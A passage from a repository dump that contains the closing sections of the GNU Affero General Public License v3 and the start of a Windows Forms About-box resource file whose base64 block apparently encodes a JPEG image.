347 | for which you have or can give appropriate copyright permission.
348 |
349 | Notwithstanding any other provision of this License, for material you
350 | add to a covered work, you may (if authorized by the copyright holders of
351 | that material) supplement the terms of this License with terms:
352 |
353 | a) Disclaiming warranty or limiting liability differently from the
354 | terms of sections 15 and 16 of this License; or
355 |
356 | b) Requiring preservation of specified reasonable legal notices or
357 | author attributions in that material or in the Appropriate Legal
358 | Notices displayed by works containing it; or
359 |
360 | c) Prohibiting misrepresentation of the origin of that material, or
361 | requiring that modified versions of such material be marked in
362 | reasonable ways as different from the original version; or
363 |
364 | d) Limiting the use for publicity purposes of names of licensors or
365 | authors of the material; or
366 |
367 | e) Declining to grant rights under trademark law for use of some
368 | trade names, trademarks, or service marks; or
369 |
370 | f) Requiring indemnification of licensors and authors of that
371 | material by anyone who conveys the material (or modified versions of
372 | it) with contractual assumptions of liability to the recipient, for
373 | any liability that these contractual assumptions directly impose on
374 | those licensors and authors.
375 |
376 | All other non-permissive additional terms are considered "further
377 | restrictions" within the meaning of section 10. If the Program as you
378 | received it, or any part of it, contains a notice stating that it is
379 | governed by this License along with a term that is a further
380 | restriction, you may remove that term. If a license document contains
381 | a further restriction but permits relicensing or conveying under this
382 | License, you may add to a covered work material governed by the terms
383 | of that license document, provided that the further restriction does
384 | not survive such relicensing or conveying.
385 |
386 | If you add terms to a covered work in accord with this section, you
387 | must place, in the relevant source files, a statement of the
388 | additional terms that apply to those files, or a notice indicating
389 | where to find the applicable terms.
390 |
391 | Additional terms, permissive or non-permissive, may be stated in the
392 | form of a separately written license, or stated as exceptions;
393 | the above requirements apply either way.
394 |
395 | 8. Termination.
396 |
397 | You may not propagate or modify a covered work except as expressly
398 | provided under this License. Any attempt otherwise to propagate or
399 | modify it is void, and will automatically terminate your rights under
400 | this License (including any patent licenses granted under the third
401 | paragraph of section 11).
402 |
403 | However, if you cease all violation of this License, then your
404 | license from a particular copyright holder is reinstated (a)
405 | provisionally, unless and until the copyright holder explicitly and
406 | finally terminates your license, and (b) permanently, if the copyright
407 | holder fails to notify you of the violation by some reasonable means
408 | prior to 60 days after the cessation.
409 |
410 | Moreover, your license from a particular copyright holder is
411 | reinstated permanently if the copyright holder notifies you of the
412 | violation by some reasonable means, this is the first time you have
413 | received notice of violation of this License (for any work) from that
414 | copyright holder, and you cure the violation prior to 30 days after
415 | your receipt of the notice.
416 |
417 | Termination of your rights under this section does not terminate the
418 | licenses of parties who have received copies or rights from you under
419 | this License. If your rights have been terminated and not permanently
420 | reinstated, you do not qualify to receive new licenses for the same
421 | material under section 10.
422 |
423 | 9. Acceptance Not Required for Having Copies.
424 |
425 | You are not required to accept this License in order to receive or
426 | run a copy of the Program. Ancillary propagation of a covered work
427 | occurring solely as a consequence of using peer-to-peer transmission
428 | to receive a copy likewise does not require acceptance. However,
429 | nothing other than this License grants you permission to propagate or
430 | modify any covered work. These actions infringe copyright if you do
431 | not accept this License. Therefore, by modifying or propagating a
432 | covered work, you indicate your acceptance of this License to do so.
433 |
434 | 10. Automatic Licensing of Downstream Recipients.
435 |
436 | Each time you convey a covered work, the recipient automatically
437 | receives a license from the original licensors, to run, modify and
438 | propagate that work, subject to this License. You are not responsible
439 | for enforcing compliance by third parties with this License.
440 |
441 | An "entity transaction" is a transaction transferring control of an
442 | organization, or substantially all assets of one, or subdividing an
443 | organization, or merging organizations. If propagation of a covered
444 | work results from an entity transaction, each party to that
445 | transaction who receives a copy of the work also receives whatever
446 | licenses to the work the party's predecessor in interest had or could
447 | give under the previous paragraph, plus a right to possession of the
448 | Corresponding Source of the work from the predecessor in interest, if
449 | the predecessor has it or can get it with reasonable efforts.
450 |
451 | You may not impose any further restrictions on the exercise of the
452 | rights granted or affirmed under this License. For example, you may
453 | not impose a license fee, royalty, or other charge for exercise of
454 | rights granted under this License, and you may not initiate litigation
455 | (including a cross-claim or counterclaim in a lawsuit) alleging that
456 | any patent claim is infringed by making, using, selling, offering for
457 | sale, or importing the Program or any portion of it.
458 |
459 | 11. Patents.
460 |
461 | A "contributor" is a copyright holder who authorizes use under this
462 | License of the Program or a work on which the Program is based. The
463 | work thus licensed is called the contributor's "contributor version".
464 |
465 | A contributor's "essential patent claims" are all patent claims
466 | owned or controlled by the contributor, whether already acquired or
467 | hereafter acquired, that would be infringed by some manner, permitted
468 | by this License, of making, using, or selling its contributor version,
469 | but do not include claims that would be infringed only as a
470 | consequence of further modification of the contributor version. For
471 | purposes of this definition, "control" includes the right to grant
472 | patent sublicenses in a manner consistent with the requirements of
473 | this License.
474 |
475 | Each contributor grants you a non-exclusive, worldwide, royalty-free
476 | patent license under the contributor's essential patent claims, to
477 | make, use, sell, offer for sale, import and otherwise run, modify and
478 | propagate the contents of its contributor version.
479 |
480 | In the following three paragraphs, a "patent license" is any express
481 | agreement or commitment, however denominated, not to enforce a patent
482 | (such as an express permission to practice a patent or covenant not to
483 | sue for patent infringement). To "grant" such a patent license to a
484 | party means to make such an agreement or commitment not to enforce a
485 | patent against the party.
486 |
487 | If you convey a covered work, knowingly relying on a patent license,
488 | and the Corresponding Source of the work is not available for anyone
489 | to copy, free of charge and under the terms of this License, through a
490 | publicly available network server or other readily accessible means,
491 | then you must either (1) cause the Corresponding Source to be so
492 | available, or (2) arrange to deprive yourself of the benefit of the
493 | patent license for this particular work, or (3) arrange, in a manner
494 | consistent with the requirements of this License, to extend the patent
495 | license to downstream recipients. "Knowingly relying" means you have
496 | actual knowledge that, but for the patent license, your conveying the
497 | covered work in a country, or your recipient's use of the covered work
498 | in a country, would infringe one or more identifiable patents in that
499 | country that you have reason to believe are valid.
500 |
501 | If, pursuant to or in connection with a single transaction or
502 | arrangement, you convey, or propagate by procuring conveyance of, a
503 | covered work, and grant a patent license to some of the parties
504 | receiving the covered work authorizing them to use, propagate, modify
505 | or convey a specific copy of the covered work, then the patent license
506 | you grant is automatically extended to all recipients of the covered
507 | work and works based on it.
508 |
509 | A patent license is "discriminatory" if it does not include within
510 | the scope of its coverage, prohibits the exercise of, or is
511 | conditioned on the non-exercise of one or more of the rights that are
512 | specifically granted under this License. You may not convey a covered
513 | work if you are a party to an arrangement with a third party that is
514 | in the business of distributing software, under which you make payment
515 | to the third party based on the extent of your activity of conveying
516 | the work, and under which the third party grants, to any of the
517 | parties who would receive the covered work from you, a discriminatory
518 | patent license (a) in connection with copies of the covered work
519 | conveyed by you (or copies made from those copies), or (b) primarily
520 | for and in connection with specific products or compilations that
521 | contain the covered work, unless you entered into that arrangement,
522 | or that patent license was granted, prior to 28 March 2007.
523 |
524 | Nothing in this License shall be construed as excluding or limiting
525 | any implied license or other defenses to infringement that may
526 | otherwise be available to you under applicable patent law.
527 |
528 | 12. No Surrender of Others' Freedom.
529 |
530 | If conditions are imposed on you (whether by court order, agreement or
531 | otherwise) that contradict the conditions of this License, they do not
532 | excuse you from the conditions of this License. If you cannot convey a
533 | covered work so as to satisfy simultaneously your obligations under this
534 | License and any other pertinent obligations, then as a consequence you may
535 | not convey it at all. For example, if you agree to terms that obligate you
536 | to collect a royalty for further conveying from those to whom you convey
537 | the Program, the only way you could satisfy both those terms and this
538 | License would be to refrain entirely from conveying the Program.
539 |
540 | 13. Remote Network Interaction; Use with the GNU General Public License.
541 |
542 | Notwithstanding any other provision of this License, if you modify the
543 | Program, your modified version must prominently offer all users
544 | interacting with it remotely through a computer network (if your version
545 | supports such interaction) an opportunity to receive the Corresponding
546 | Source of your version by providing access to the Corresponding Source
547 | from a network server at no charge, through some standard or customary
548 | means of facilitating copying of software. This Corresponding Source
549 | shall include the Corresponding Source for any work covered by version 3
550 | of the GNU General Public License that is incorporated pursuant to the
551 | following paragraph.
552 |
553 | Notwithstanding any other provision of this License, you have
554 | permission to link or combine any covered work with a work licensed
555 | under version 3 of the GNU General Public License into a single
556 | combined work, and to convey the resulting work. The terms of this
557 | License will continue to apply to the part which is the covered work,
558 | but the work with which it is combined will remain governed by version
559 | 3 of the GNU General Public License.
560 |
561 | 14. Revised Versions of this License.
562 |
563 | The Free Software Foundation may publish revised and/or new versions of
564 | the GNU Affero General Public License from time to time. Such new versions
565 | will be similar in spirit to the present version, but may differ in detail to
566 | address new problems or concerns.
567 |
568 | Each version is given a distinguishing version number. If the
569 | Program specifies that a certain numbered version of the GNU Affero General
570 | Public License "or any later version" applies to it, you have the
571 | option of following the terms and conditions either of that numbered
572 | version or of any later version published by the Free Software
573 | Foundation. If the Program does not specify a version number of the
574 | GNU Affero General Public License, you may choose any version ever published
575 | by the Free Software Foundation.
576 |
577 | If the Program specifies that a proxy can decide which future
578 | versions of the GNU Affero General Public License can be used, that proxy's
579 | public statement of acceptance of a version permanently authorizes you
580 | to choose that version for the Program.
581 |
582 | Later license versions may give you additional or different
583 | permissions. However, no additional obligations are imposed on any
584 | author or copyright holder as a result of your choosing to follow a
585 | later version.
586 |
587 | 15. Disclaimer of Warranty.
588 |
589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 |
598 | 16. Limitation of Liability.
599 |
600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 |
610 | 17. Interpretation of Sections 15 and 16.
611 |
612 | If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 |
619 | END OF TERMS AND CONDITIONS
620 |
621 | How to Apply These Terms to Your New Programs
622 |
623 | If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 |
627 | To do so, attach the following notices to the program. It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 |
632 |
633 | Copyright (C)
634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/掩日2.0/AboutBox1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 |
122 |
123 | /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwg
124 | JC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIy
125 | MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAK5AYgDASIAAhEBAxEB/8QA
126 | HwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh
127 | MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVW
128 | V1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXG
129 | x8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQF
130 | BgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAV
131 | YnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE
132 | hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq
133 | 8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxOWaXzpP3j/eP8RpnnSf89H/76NEv+uk/3j/OmYrqMLj/ADpf
134 | +ej/APfRpfOl/wCej/8AfRpmKMUxC+dL/wA9H/76NL50v/PR/wDvo00ClpAO86X/AJ6P/wB9Gl86X/no
135 | /wD30aYKKoQ7zZf+ej/99Gjz5f8Ano//AH0abSUgJhPKR/rH/wC+jS+dL/z0f/vo1ADin9qaEx/nS/8A
136 | PR/++jSefL/z0f8A76NMpDTAeZ5f+ej/APfRpPPlP/LR/wDvo1HS4qdxj/Ol/wCer/8AfRo86X/no/8A
137 | 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
